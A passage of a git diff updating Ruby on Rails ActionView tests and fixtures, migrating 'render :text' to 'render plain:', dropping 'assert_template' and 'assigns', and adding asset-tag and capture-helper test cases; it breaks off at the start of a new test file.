@@ -1,5 +1,5 @@ require 'abstract_unit' -require "active_model" +require 'active_model' class ApplicationController < ActionController::Base self.view_paths = File.join(FIXTURE_LOAD_PATH, "actionpack") @@ -121,7 +121,7 @@ class TestController < ApplicationController # :ported: def render_hello_world_from_variable @person = "david" - render :text => "hello #{@person}" + render plain: "hello #{@person}" end # :ported: @@ -143,13 +143,13 @@ class TestController < ApplicationController # :ported: def render_text_hello_world - render :text => "hello world" + render plain: "hello world" end # :ported: def render_text_hello_world_with_layout @variable_for_layout = ", I am here!" - render :text => "hello world", :layout => true + render plain: "hello world", :layout => true end def hello_world_with_layout_false @@ -212,26 +212,26 @@ class TestController < ApplicationController # :ported: def render_custom_code - render :text => "hello world", :status => 404 + render plain: "hello world", :status => 404 end # :ported: def render_text_with_nil - render :text => nil + render plain: nil end # :ported: def render_text_with_false - render :text => false + render plain: false end def render_text_with_resource - render :text => Customer.new("David") + render plain: Customer.new("David") end # :ported: def render_nothing_with_appendix - render :text => "appended" + render plain: "appended" end # This test is testing 3 things: @@ -262,7 +262,7 @@ class TestController < ApplicationController # :ported: def blank_response - render :text => ' ' + render plain: ' ' end # :ported: @@ -294,7 +294,7 @@ class TestController < ApplicationController def hello_in_a_string @customers = [ Customer.new("david"), Customer.new("mary") ] - render :text => "How's there? " + render_to_string(:template => "test/list") + render plain: "How's there? " + render_to_string(:template => "test/list") end def accessing_params_in_template @@ -357,12 +357,12 @@ class TestController < ApplicationController end def rendering_nothing_on_layout - render :nothing => true + head :ok end def render_to_string_with_assigns @before = "i'm before the render" - render_to_string :text => "foo" + render_to_string plain: "foo" @after = "i'm after the render" render :template => "test/hello_world" end @@ -409,8 +409,8 @@ class TestController < ApplicationController # :ported: def double_render - render :text => "hello" - render :text => "world" + render plain: "hello" + render plain: "world" end def double_redirect @@ -419,13 +419,13 @@ class TestController < ApplicationController end def render_and_redirect - render :text => "hello" + render plain: "hello" redirect_to :action => "double_render" end def render_to_string_and_render - @stuff = render_to_string :text => "here is some cached stuff" - render :text => "Hi web users! #{@stuff}" + @stuff = render_to_string plain: "here is some cached stuff" + render plain: "Hi web users! #{@stuff}" end def render_to_string_with_inline_and_render @@ -454,7 +454,7 @@ class TestController < ApplicationController # :addressed: def render_text_with_assigns @hello = "world" - render :text => "foo" + render plain: "foo" end def render_with_assigns_option @@ -466,8 +466,8 @@ class TestController < ApplicationController end def render_content_type_from_body - response.content_type = Mime::RSS - render :text => "hello world!" + response.content_type = Mime[:rss] + render body: "hello world!" end def render_using_layout_around_block @@ -683,20 +683,19 @@ class RenderTest < ActionController::TestCase get :hello_world assert_response 200 assert_response :success - assert_template "test/hello_world" assert_equal "<html>Hello world!</html>", @response.body end # :ported: def test_renders_default_template_for_missing_action get :'hyphen-ated' - assert_template 'test/hyphen-ated' + assert_equal "hyphen-ated.erb", @response.body end # :ported: def test_render get :render_hello_world - assert_template "test/hello_world" + assert_equal "Hello world!", @response.body end def test_line_offset @@ -712,26 +711,24 @@ class RenderTest < ActionController::TestCase # :ported: compatibility def test_render_with_forward_slash get :render_hello_world_with_forward_slash - assert_template "test/hello_world" + assert_equal "Hello world!", @response.body end # :ported: def test_render_in_top_directory get :render_template_in_top_directory - assert_template "shared" assert_equal "Elastica", @response.body end # :ported: def test_render_in_top_directory_with_slash get :render_template_in_top_directory_with_slash - assert_template "shared" assert_equal "Elastica", @response.body end def test_render_process get :render_action_hello_world_as_string - assert_equal ["Hello world!"], @controller.process(:render_action_hello_world_as_string) + assert_equal "Hello world!", @controller.process(:render_action_hello_world_as_string) end # :ported: @@ -743,7 +740,7 @@ class RenderTest < ActionController::TestCase # :ported: def test_render_action get :render_action_hello_world - assert_template "test/hello_world" + assert_equal "Hello world!", @response.body end def test_render_action_upcased @@ -756,13 +753,12 @@ class RenderTest < ActionController::TestCase def test_render_action_hello_world_as_string get :render_action_hello_world_as_string assert_equal "Hello world!", @response.body - assert_template "test/hello_world" end # :ported: def test_render_action_with_symbol get :render_action_hello_world_with_symbol - assert_template "test/hello_world" + assert_equal "Hello world!", @response.body end # :ported: @@ -774,7 +770,7 @@ class RenderTest < ActionController::TestCase # :ported: def test_do_with_render_text_and_layout get :render_text_hello_world_with_layout - assert_equal "<html>hello world, I am here!</html>", @response.body + assert_equal "{{hello world, I am here!}}\n", @response.body end # :ported: @@ -950,7 +946,7 @@ class RenderTest < ActionController::TestCase def test_render_to_string_inline get :render_to_string_with_inline_and_render - assert_template "test/hello_world" + assert_equal 'Hello world!', @response.body end # :ported: @@ -1035,8 +1031,8 @@ class RenderTest < ActionController::TestCase def test_render_to_string_doesnt_break_assigns get :render_to_string_with_assigns - assert_equal "i'm before the render", assigns(:before) - assert_equal "i'm after the render", assigns(:after) + assert_equal "i'm before the render", @controller.instance_variable_get(:@before) + assert_equal "i'm after the render", @controller.instance_variable_get(:@after) end def test_bad_render_to_string_still_throws_exception @@ -1045,8 +1041,8 @@ class RenderTest < ActionController::TestCase def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns assert_nothing_raised { get :render_to_string_with_caught_exception } - assert_equal "i'm before the render", assigns(:before) - assert_equal "i'm after the render", assigns(:after) + assert_equal "i'm before the render", @controller.instance_variable_get(:@before) + assert_equal "i'm after the render", @controller.instance_variable_get(:@after) end def test_accessing_params_in_template_with_layout @@ -1107,7 +1103,7 @@ class RenderTest < ActionController::TestCase # :addressed: def test_render_text_with_assigns get :render_text_with_assigns - assert_equal "world", assigns["hello"] + assert_equal "world", @controller.instance_variable_get(:@hello) end def test_render_text_with_assigns_option @@ -1126,7 +1122,7 @@ class RenderTest < ActionController::TestCase assert_equal "<title>Putting stuff in the title!</title>\nGreat stuff!\n", @response.body end - def test_overwritting_rendering_relative_file_with_extension + def test_overwriting_rendering_relative_file_with_extension get :hello_world_from_rxml_using_template assert_equal "<html>\n <p>Hello</p>\n</html>\n", @response.body @@ -1173,22 +1169,22 @@ class RenderTest < ActionController::TestCase def test_render_to_string_partial get :render_to_string_with_partial - assert_equal "only partial", assigns(:partial_only) - assert_equal "Hello: david", assigns(:partial_with_locals) + assert_equal "only partial", @controller.instance_variable_get(:@partial_only) + assert_equal "Hello: david", @controller.instance_variable_get(:@partial_with_locals) assert_equal "text/html", @response.content_type end def test_render_to_string_with_template_and_html_partial get :render_to_string_with_template_and_html_partial - assert_equal "**only partial**\n", assigns(:text) - assert_equal "<strong>only partial</strong>\n", assigns(:html) + assert_equal "**only partial**\n", @controller.instance_variable_get(:@text) + assert_equal "<strong>only partial</strong>\n", @controller.instance_variable_get(:@html) assert_equal "<strong>only html partial</strong>\n", @response.body assert_equal "text/html", @response.content_type end def test_render_to_string_and_render_with_different_formats get :render_to_string_and_render_with_different_formats - assert_equal "<strong>only partial</strong>\n", assigns(:html) + assert_equal "<strong>only partial</strong>\n", @controller.instance_variable_get(:@html) assert_equal "**only partial**\n", @response.body assert_equal "text/plain", @response.content_type end @@ -1212,21 +1208,18 @@ class RenderTest < ActionController::TestCase def test_partial_with_form_builder get :partial_with_form_builder - assert_match(/<label/, @response.body) - assert_template('test/_form') + assert_equal "<label for=\"post_title\">Title</label>\n", @response.body end def test_partial_with_form_builder_subclass get :partial_with_form_builder_subclass - assert_match(/<label/, @response.body) - assert_template('test/_labelling_form') + assert_equal "<label for=\"post_title\">Title</label>\n", @response.body end def test_nested_partial_with_form_builder @controller = Fun::GamesController.new get :nested_partial_with_form_builder - assert_match(/<label/, @response.body) - assert_template('fun/games/_form') + assert_equal "<label for=\"post_title\">Title</label>\n", @response.body end def test_namespaced_object_partial @@ -1270,48 +1263,29 @@ class RenderTest < ActionController::TestCase assert_equal "Bonjour: davidBonjour: mary", @response.body end - def test_locals_option_to_assert_template_is_not_supported - get :partial_collection_with_locals - - warning_buffer = StringIO.new - $stderr = warning_buffer - - assert_template partial: 'customer_greeting', locals: { greeting: 'Bonjour' } - assert_equal "the :locals option to #assert_template is only supported in a ActionView::TestCase\n", warning_buffer.string - ensure - $stderr = STDERR - end - def test_partial_collection_with_spacer get :partial_collection_with_spacer assert_equal "Hello: davidonly partialHello: mary", @response.body - assert_template :partial => '_customer' end def test_partial_collection_with_spacer_which_uses_render get :partial_collection_with_spacer_which_uses_render assert_equal "Hello: davidpartial html\npartial with partial\nHello: mary", @response.body - assert_template :partial => '_customer' end def test_partial_collection_shorthand_with_locals get :partial_collection_shorthand_with_locals assert_equal "Bonjour: davidBonjour: mary", @response.body - assert_template :partial => 'customers/_customer', :count => 2 - assert_template :partial => '_completely_fake_and_made_up_template_that_cannot_possibly_be_rendered', :count => 0 end def test_partial_collection_shorthand_with_different_types_of_records get :partial_collection_shorthand_with_different_types_of_records assert_equal "Bonjour bad customer: mark0Bonjour good customer: craig1Bonjour bad customer: john2Bonjour good customer: zach3Bonjour good customer: brandon4Bonjour bad customer: dan5", @response.body - assert_template :partial => 'good_customers/_good_customer', :count => 3 - assert_template :partial => 'bad_customers/_bad_customer', :count => 3 end def test_empty_partial_collection get :empty_partial_collection assert_equal " ", @response.body - assert_template :partial => false end def test_partial_with_hash_object diff --git a/actionview/test/actionpack/controller/view_paths_test.rb b/actionview/test/actionpack/controller/view_paths_test.rb index 7fba9ff8ff..e99659c802 100644 --- a/actionview/test/actionpack/controller/view_paths_test.rb +++ b/actionview/test/actionpack/controller/view_paths_test.rb @@ -23,8 +23,8 @@ class ViewLoadPathsTest < ActionController::TestCase end def setup - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new + @request = ActionController::TestRequest.create + @response = ActionDispatch::TestResponse.new @controller = TestController.new @paths = TestController.view_paths end diff --git a/actionview/test/activerecord/form_helper_activerecord_test.rb b/actionview/test/activerecord/form_helper_activerecord_test.rb index 0a62f49f35..2769b97445 100644 --- a/actionview/test/activerecord/form_helper_activerecord_test.rb +++ b/actionview/test/activerecord/form_helper_activerecord_test.rb @@ -35,10 +35,6 @@ class FormHelperActiveRecordTest < ActionView::TestCase end end - def _routes - Routes - end - include Routes.url_helpers def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association diff --git a/actionview/test/activerecord/relation_cache_test.rb b/actionview/test/activerecord/relation_cache_test.rb new file mode 100644 index 0000000000..8e97417b94 --- /dev/null +++ b/actionview/test/activerecord/relation_cache_test.rb @@ -0,0 +1,18 @@ +require 'active_record_unit' + +class RelationCacheTest < ActionView::TestCase + tests ActionView::Helpers::CacheHelper + + def setup + @virtual_path = "path" + controller.cache_store = ActiveSupport::Cache::MemoryStore.new + end + + def test_cache_relation_other + cache(Project.all){ concat("Hello World") } + assert_equal "Hello World", controller.cache_store.read("views/projects-#{Project.count}/") + end + + def view_cache_dependencies; end + +end diff --git a/actionview/test/activerecord/render_partial_with_record_identification_test.rb b/actionview/test/activerecord/render_partial_with_record_identification_test.rb index 409370104d..9772ebb39e 100644 --- a/actionview/test/activerecord/render_partial_with_record_identification_test.rb +++ b/actionview/test/activerecord/render_partial_with_record_identification_test.rb @@ -52,43 +52,37 @@ class RenderPartialWithRecordIdentificationTest < ActiveRecordTestCase def test_rendering_partial_with_has_many_and_belongs_to_association get :render_with_has_many_and_belongs_to_association - assert_template 'projects/_project' - assert_equal assigns(:developer).projects.map(&:name).join, @response.body + assert_equal Developer.find(1).projects.map(&:name).join, @response.body end def test_rendering_partial_with_has_many_association get :render_with_has_many_association - assert_template 'replies/_reply' assert_equal 'Birdman is better!', @response.body end def test_rendering_partial_with_scope get :render_with_scope - assert_template 'replies/_reply' assert_equal 'Birdman is better!Nuh uh!', @response.body end def test_render_with_record get :render_with_record - assert_template 'developers/_developer' assert_equal 'David', @response.body end def test_render_with_record_collection get :render_with_record_collection - assert_template 'developers/_developer' assert_equal 'DavidJamisfixture_3fixture_4fixture_5fixture_6fixture_7fixture_8fixture_9fixture_10Jamis', @response.body end def test_render_with_record_collection_and_spacer_template get :render_with_record_collection_and_spacer_template - assert_equal assigns(:developer).projects.map(&:name).join('only partial'), @response.body + assert_equal Developer.find(1).projects.map(&:name).join('only partial'), @response.body end def test_rendering_partial_with_has_one_association mascot = Company.find(1).mascot get :render_with_has_one_association - assert_template 'mascots/_mascot' assert_equal mascot.name, @response.body end end @@ -130,13 +124,11 @@ class RenderPartialWithRecordIdentificationAndNestedControllersTest < ActiveReco def test_render_with_record_in_nested_controller get :render_with_record_in_nested_controller - assert_template %r{\Afun/games/_game\Z} assert_equal "Fun Pong\n", @response.body end def test_render_with_record_collection_in_nested_controller get :render_with_record_collection_in_nested_controller - assert_template %r{\Afun/games/_game\Z} assert_equal "Fun Pong\nFun Tank\n", @response.body end end @@ -149,7 +141,6 @@ class RenderPartialWithRecordIdentificationAndNestedControllersWithoutPrefixTest ActionView::Base.prefix_partial_path_with_controller_namespace = false get :render_with_record_in_nested_controller - assert_template %r{\Agames/_game\Z} assert_equal "Just Pong\n", @response.body ensure ActionView::Base.prefix_partial_path_with_controller_namespace = old_config @@ -160,7 +151,6 @@ class RenderPartialWithRecordIdentificationAndNestedControllersWithoutPrefixTest ActionView::Base.prefix_partial_path_with_controller_namespace = false get :render_with_record_collection_in_nested_controller - assert_template %r{\Agames/_game\Z} assert_equal "Just Pong\nJust Tank\n", @response.body ensure ActionView::Base.prefix_partial_path_with_controller_namespace = old_config @@ -172,13 +162,11 @@ class RenderPartialWithRecordIdentificationAndNestedDeeperControllersTest < Acti def test_render_with_record_in_deeper_nested_controller get :render_with_record_in_deeper_nested_controller - assert_template %r{\Afun/serious/games/_game\Z} assert_equal "Serious Chess\n", @response.body end def test_render_with_record_collection_in_deeper_nested_controller get :render_with_record_collection_in_deeper_nested_controller - assert_template %r{\Afun/serious/games/_game\Z} assert_equal "Serious Chess\nSerious Sudoku\nSerious Solitaire\n", @response.body end end @@ -191,7 +179,6 @@ class RenderPartialWithRecordIdentificationAndNestedDeeperControllersWithoutPref ActionView::Base.prefix_partial_path_with_controller_namespace = false get :render_with_record_in_deeper_nested_controller - assert_template %r{\Agames/_game\Z} assert_equal "Just Chess\n", @response.body ensure ActionView::Base.prefix_partial_path_with_controller_namespace = old_config @@ -202,7 +189,6 @@ class RenderPartialWithRecordIdentificationAndNestedDeeperControllersWithoutPref ActionView::Base.prefix_partial_path_with_controller_namespace = false get :render_with_record_collection_in_deeper_nested_controller - assert_template %r{\Agames/_game\Z} assert_equal "Just Chess\nJust Sudoku\nJust Solitaire\n", @response.body ensure ActionView::Base.prefix_partial_path_with_controller_namespace = old_config diff --git a/actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb b/actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb index e69de29bb2..60b81525b5 100644 --- a/actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb +++ b/actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb @@ -0,0 +1 @@ +alt.erb diff --git a/actionview/test/fixtures/actionpack/layouts/standard.text.erb b/actionview/test/fixtures/actionpack/layouts/standard.text.erb new file mode 100644 index 0000000000..a58afb1aa2 --- /dev/null +++ b/actionview/test/fixtures/actionpack/layouts/standard.text.erb @@ -0,0 +1 @@ +{{<%= yield %><%= @variable_for_layout %>}} diff --git a/actionview/test/fixtures/actionpack/test/hyphen-ated.erb b/actionview/test/fixtures/actionpack/test/hyphen-ated.erb index cd0875583a..28dbe94ee1 100644 --- a/actionview/test/fixtures/actionpack/test/hyphen-ated.erb +++ b/actionview/test/fixtures/actionpack/test/hyphen-ated.erb @@ -1 +1 @@ -Hello world! +hyphen-ated.erb
\ No newline at end of file diff --git a/actionview/test/fixtures/digestor/comments/_comment.html.erb b/actionview/test/fixtures/digestor/comments/_comment.html.erb index f172e749da..a8fa21f644 100644 --- a/actionview/test/fixtures/digestor/comments/_comment.html.erb +++ b/actionview/test/fixtures/digestor/comments/_comment.html.erb @@ -1 +1 @@ -Great story, bro! +Great story! diff --git a/railties/lib/rails/generators/rails/plugin/templates/app/mailers/.empty_directory b/actionview/test/fixtures/digestor/events/_completed.html.erb index e69de29bb2..e69de29bb2 100644 --- a/railties/lib/rails/generators/rails/plugin/templates/app/mailers/.empty_directory +++ b/actionview/test/fixtures/digestor/events/_completed.html.erb diff --git a/actionview/test/fixtures/digestor/events/index.html.erb b/actionview/test/fixtures/digestor/events/index.html.erb new file mode 100644 index 0000000000..bc45e41bcb --- /dev/null +++ b/actionview/test/fixtures/digestor/events/index.html.erb @@ -0,0 +1 @@ +<% # Template Dependency: events/* %>
\ No newline at end of file diff --git a/actionview/test/fixtures/digestor/messages/peek.html.erb b/actionview/test/fixtures/digestor/messages/peek.html.erb new file mode 100644 index 0000000000..84885ab0bc --- /dev/null +++ b/actionview/test/fixtures/digestor/messages/peek.html.erb @@ -0,0 +1,2 @@ +<%# Template Dependency: messages/message %> +<%= render "comments/comments" %> diff --git a/actionview/test/fixtures/layouts/render_partial_html.erb b/actionview/test/fixtures/layouts/render_partial_html.erb new file mode 100644 index 0000000000..d4dbb6c76c --- /dev/null +++ b/actionview/test/fixtures/layouts/render_partial_html.erb @@ -0,0 +1,2 @@ +<%= render :partial => 'test/partialhtml' %> +<%= yield %> diff --git a/actionview/test/fixtures/project.rb b/actionview/test/fixtures/project.rb index c124a9e605..404b12cbab 100644 --- a/actionview/test/fixtures/project.rb +++ b/actionview/test/fixtures/project.rb @@ -1,3 +1,7 @@ class Project < ActiveRecord::Base has_and_belongs_to_many :developers, -> { uniq } + + def self.collection_cache_key(collection = all, timestamp_column = :updated_at) + "projects-#{collection.count}" + end end diff --git a/actionview/test/fixtures/test/_customer.mobile.erb b/actionview/test/fixtures/test/_customer.mobile.erb new file mode 100644 index 0000000000..d8220afeda --- /dev/null +++ b/actionview/test/fixtures/test/_customer.mobile.erb @@ -0,0 +1 @@ +Hello: <%= customer.name rescue "Anonymous" %>
\ No newline at end of file diff --git a/actionview/test/fixtures/test/_klass.erb b/actionview/test/fixtures/test/_klass.erb new file mode 100644 index 0000000000..9936f86001 --- /dev/null +++ b/actionview/test/fixtures/test/_klass.erb @@ -0,0 +1 @@ +<%= klass.class.name %>
\ No newline at end of file diff --git a/actionview/test/fixtures/test/_partial_name_in_local_assigns.erb b/actionview/test/fixtures/test/_partial_name_in_local_assigns.erb new file mode 100644 index 0000000000..28ee9f41c5 --- /dev/null +++ b/actionview/test/fixtures/test/_partial_name_in_local_assigns.erb @@ -0,0 +1 @@ +<%= local_assigns.has_key?(:partial_name_in_local_assigns) %>
\ No newline at end of file diff --git a/actionview/test/fixtures/test/_partialhtml.html b/actionview/test/fixtures/test/_partialhtml.html new file mode 100644 index 0000000000..afe39b730a --- /dev/null +++ b/actionview/test/fixtures/test/_partialhtml.html @@ -0,0 +1 @@ +<h1>partial html</h1>
\ No newline at end of file diff --git a/actionview/test/fixtures/test/_ðŸ£.erb b/actionview/test/fixtures/test/_ðŸ£.erb new file mode 100644 index 0000000000..4bbe59410a --- /dev/null +++ b/actionview/test/fixtures/test/_ðŸ£.erb @@ -0,0 +1 @@ +🣠diff --git a/actionview/test/template/active_model_helper_test.rb b/actionview/test/template/active_model_helper_test.rb index 86bccdfade..55d62cf692 100644 --- a/actionview/test/template/active_model_helper_test.rb +++ b/actionview/test/template/active_model_helper_test.rb @@ -85,7 +85,7 @@ class ActiveModelHelperTest < ActionView::TestCase def test_field_error_proc old_proc = ActionView::Base.field_error_proc ActionView::Base.field_error_proc = Proc.new do |html_tag, instance| - %(<div class=\"field_with_errors\">#{html_tag} <span class="error">#{[instance.error_message].join(', ')}</span></div>).html_safe + raw(%(<div class=\"field_with_errors\">#{html_tag} <span class="error">#{[instance.error_message].join(', ')}</span></div>)) end assert_dom_equal( diff --git a/actionview/test/template/asset_tag_helper_test.rb b/actionview/test/template/asset_tag_helper_test.rb index 02dce71496..8bfd19eb26 100644 --- a/actionview/test/template/asset_tag_helper_test.rb +++ b/actionview/test/template/asset_tag_helper_test.rb @@ -27,6 +27,8 @@ class AssetTagHelperTest < ActionView::TestCase end AssetPathToTag = { + %(asset_path("")) => %(), + %(asset_path(" ")) => %(), %(asset_path("foo")) => %(/foo), %(asset_path("style.css")) => %(/style.css), %(asset_path("xmlhr.js")) => %(/xmlhr.js), @@ -97,6 +99,7 @@ class AssetTagHelperTest < ActionView::TestCase %(javascript_include_tag("bank")) => %(<script src="/javascripts/bank.js" ></script>), %(javascript_include_tag("bank.js")) => %(<script src="/javascripts/bank.js" ></script>), %(javascript_include_tag("bank", :lang => "vbscript")) => %(<script lang="vbscript" src="/javascripts/bank.js" ></script>), + %(javascript_include_tag("bank", :host => "assets.example.com")) => %(<script src="http://assets.example.com/javascripts/bank.js"></script>), %(javascript_include_tag("http://example.com/all")) => %(<script src="http://example.com/all"></script>), %(javascript_include_tag("http://example.com/all.js")) => %(<script src="http://example.com/all.js"></script>), @@ -141,6 +144,7 @@ class AssetTagHelperTest < ActionView::TestCase %(stylesheet_link_tag("/elsewhere/file")) => %(<link href="/elsewhere/file.css" media="screen" rel="stylesheet" />), %(stylesheet_link_tag("subdir/subdir")) => %(<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />), %(stylesheet_link_tag("bank", :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" />), + %(stylesheet_link_tag("bank", :host => "assets.example.com")) => %(<link href="http://assets.example.com/stylesheets/bank.css" media="screen" rel="stylesheet" />), %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style" media="screen" rel="stylesheet" />), %(stylesheet_link_tag("http://www.example.com/styles/style.css")) => %(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" />), @@ -191,7 +195,8 @@ class AssetTagHelperTest < ActionView::TestCase %(image_tag("//www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="//www.rubyonrails.com/images/rails.png" />), %(image_tag("mouse.png", :alt => nil)) => %(<img src="/images/mouse.png" />), %(image_tag("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==", :alt => nil)) => %(<img src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" />), - %(image_tag("")) => %(<img src="" />) + %(image_tag("")) => %(<img src="" />), + %(image_tag("gold.png", data: { title: 'Rails Application' })) => %(<img data-title="Rails Application" src="/images/gold.png" alt="Gold" />) } FaviconLinkToTag = { @@ -310,6 +315,11 @@ class AssetTagHelperTest < ActionView::TestCase AssetPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) } end + def test_asset_path_tag_raises_an_error_for_nil_source + e = assert_raise(ArgumentError) { asset_path(nil) } + assert_equal("nil is not a valid asset source", e.message) + end + def test_asset_path_tag_to_not_create_duplicate_slashes @controller.config.asset_host = "host/" assert_dom_equal('http://host/foo', asset_path("foo")) @@ -449,6 +459,7 @@ class AssetTagHelperTest < ActionView::TestCase [nil, '/', '/foo/bar/', 'foo/bar/'].each do |prefix| assert_equal 'Rails', image_alt("#{prefix}rails.png") assert_equal 'Rails', image_alt("#{prefix}rails-9c0a079bdd7701d7e729bd956823d153.png") + assert_equal 'Rails', image_alt("#{prefix}rails-f56ef62bc41b040664e801a38f068082a75d506d9048307e8096737463503d0b.png") assert_equal 'Long file name with hyphens', image_alt("#{prefix}long-file-name-with-hyphens.png") assert_equal 'Long file name with underscores', image_alt("#{prefix}long_file_name_with_underscores.png") end @@ -464,6 +475,14 @@ class AssetTagHelperTest < ActionView::TestCase assert_equal({:size => '16x10'}, options) end + def test_image_tag_raises_an_error_for_competing_size_arguments + exception = assert_raise(ArgumentError) do + image_tag("gold.png", :height => "100", :width => "200", :size => "45x70") + end + + assert_equal("Cannot pass a :size option with a :height or :width option", exception.message) + end + def test_favicon_link_tag FaviconLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) } end @@ -575,11 +594,13 @@ class AssetTagHelperTest < ActionView::TestCase end end - @controller.request.stubs(:ssl?).returns(false) - assert_equal "http://assets15.example.com/images/xml.png", image_path("xml.png") + @controller.request.stub(:ssl?, false) do + assert_equal "http://assets15.example.com/images/xml.png", image_path("xml.png") + end - @controller.request.stubs(:ssl?).returns(true) - assert_equal "http://localhost/images/xml.png", image_path("xml.png") + @controller.request.stub(:ssl?, true) do + assert_equal "http://localhost/images/xml.png", image_path("xml.png") + end end end diff --git a/actionview/test/template/atom_feed_helper_test.rb b/actionview/test/template/atom_feed_helper_test.rb index 525d99750d..591cd71404 100644 --- a/actionview/test/template/atom_feed_helper_test.rb +++ b/actionview/test/template/atom_feed_helper_test.rb @@ -14,7 +14,7 @@ class ScrollsController < ActionController::Base FEEDS["defaults"] = <<-EOT atom_feed(:schema_date => '2008') do |feed| feed.title("My great blog!") - feed.updated((@scrolls.first.created_at)) + feed.updated(@scrolls.first.created_at) @scrolls.each do |scroll| feed.entry(scroll) do |entry| @@ -31,7 +31,7 @@ class ScrollsController < ActionController::Base FEEDS["entry_options"] = <<-EOT atom_feed do |feed| feed.title("My great blog!") - feed.updated((@scrolls.first.created_at)) + feed.updated(@scrolls.first.created_at) @scrolls.each do |scroll| feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param.to_s, :updated => Time.utc(2007, 1, scroll.id)) do |entry| @@ -48,7 +48,7 @@ class ScrollsController < ActionController::Base FEEDS["entry_type_options"] = <<-EOT atom_feed(:schema_date => '2008') do |feed| feed.title("My great blog!") - feed.updated((@scrolls.first.created_at)) + feed.updated(@scrolls.first.created_at) @scrolls.each do |scroll| feed.entry(scroll, :type => 'text/xml') do |entry| @@ -65,7 +65,7 @@ class ScrollsController < ActionController::Base FEEDS["entry_url_false_option"] = <<-EOT atom_feed do |feed| feed.title("My great blog!") - feed.updated((@scrolls.first.created_at)) + feed.updated(@scrolls.first.created_at) @scrolls.each do |scroll| feed.entry(scroll, :url => false) do |entry| @@ -82,7 +82,7 @@ class ScrollsController < ActionController::Base FEEDS["xml_block"] = <<-EOT atom_feed do |feed| feed.title("My great blog!") - feed.updated((@scrolls.first.created_at)) + feed.updated(@scrolls.first.created_at) feed.author do |author| author.name("DHH") @@ -100,7 +100,7 @@ class ScrollsController < ActionController::Base atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app', 'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed| feed.title("My great blog!") - feed.updated((@scrolls.first.created_at)) + feed.updated(@scrolls.first.created_at) @scrolls.each do |scroll| feed.entry(scroll) do |entry| @@ -118,7 +118,7 @@ class ScrollsController < ActionController::Base FEEDS["feed_with_overridden_ids"] = <<-EOT atom_feed({:id => 'tag:test.rubyonrails.org,2008:test/'}) do |feed| feed.title("My great blog!") - feed.updated((@scrolls.first.created_at)) + feed.updated(@scrolls.first.created_at) @scrolls.each do |scroll| feed.entry(scroll, :id => "tag:test.rubyonrails.org,2008:"+scroll.id.to_s) do |entry| @@ -137,7 +137,7 @@ class ScrollsController < ActionController::Base atom_feed(:schema_date => '2008', :instruct => {'xml-stylesheet' => { :href=> 't.css', :type => 'text/css' }}) do |feed| feed.title("My great blog!") - feed.updated((@scrolls.first.created_at)) + feed.updated(@scrolls.first.created_at) @scrolls.each do |scroll| feed.entry(scroll) do |entry| @@ -155,7 +155,7 @@ class ScrollsController < ActionController::Base atom_feed(:schema_date => '2008', :instruct => {'target1' => [{ :a => '1', :b => '2' }, { :c => '3', :d => '4' }]}) do |feed| feed.title("My great blog!") - feed.updated((@scrolls.first.created_at)) + feed.updated(@scrolls.first.created_at) @scrolls.each do |scroll| feed.entry(scroll) do |entry| @@ -172,7 +172,7 @@ class ScrollsController < ActionController::Base FEEDS["feed_with_xhtml_content"] = <<-'EOT' atom_feed do |feed| feed.title("My great blog!") - feed.updated((@scrolls.first.created_at)) + feed.updated(@scrolls.first.created_at) @scrolls.each do |scroll| feed.entry(scroll) do |entry| @@ -197,7 +197,7 @@ class ScrollsController < ActionController::Base new_xml = Builder::XmlMarkup.new(:target=>'') atom_feed(:xml => new_xml) do |feed| feed.title("My great blog!") - feed.updated((@scrolls.first.created_at)) + feed.updated(@scrolls.first.created_at) @scrolls.each do |scroll| feed.entry(scroll) do |entry| diff --git a/actionview/test/template/capture_helper_test.rb b/actionview/test/template/capture_helper_test.rb index f213da5934..ffaf773c53 100644 --- a/actionview/test/template/capture_helper_test.rb +++ b/actionview/test/template/capture_helper_test.rb @@ -34,7 +34,7 @@ class CaptureHelperTest < ActionView::TestCase end def test_capture_doesnt_escape_twice - string = @av.capture { '<em>bar</em>'.html_safe } + string = @av.capture { raw('<em>bar</em>') } assert_equal '<em>bar</em>', string end @@ -148,6 +148,19 @@ class CaptureHelperTest < ActionView::TestCase assert ! content_for?(:something_else) end + def test_content_for_should_be_html_safe_after_flush_empty + assert ! content_for?(:title) + content_for :title do + content_tag(:p, 'title') + end + assert content_for(:title).html_safe? + content_for :title, "", flush: true + content_for(:title) do + content_tag(:p, 'title') + end + assert content_for(:title).html_safe? + end + def test_provide assert !content_for?(:title) provide :title, "hi" @@ -158,7 +171,7 @@ class CaptureHelperTest < ActionView::TestCase @view_flow = ActionView::OutputFlow.new provide :title, "hi" - provide :title, "<p>title</p>".html_safe + provide :title, raw("<p>title</p>") assert_equal "hi<p>title</p>", content_for(:title) end @@ -210,10 +223,4 @@ class CaptureHelperTest < ActionView::TestCase def alt_encoding(output_buffer) output_buffer.encoding == Encoding::US_ASCII ? Encoding::UTF_8 : Encoding::US_ASCII end - - def view_with_controller - TestController.new.view_context.tap do |view| - view.output_buffer = ActionView::OutputBuffer.new - end - end end diff --git a/actionview/test/template/controller_helper_test.rb b/actionview/test/template/controller_helper_test.rb new file mode 100644 index 0000000000..b5e94ea4f1 --- /dev/null +++ b/actionview/test/template/controller_helper_test.rb @@ -0,0 +1,21 @@ +require 'abstract_unit' + +class ControllerHelperTest < 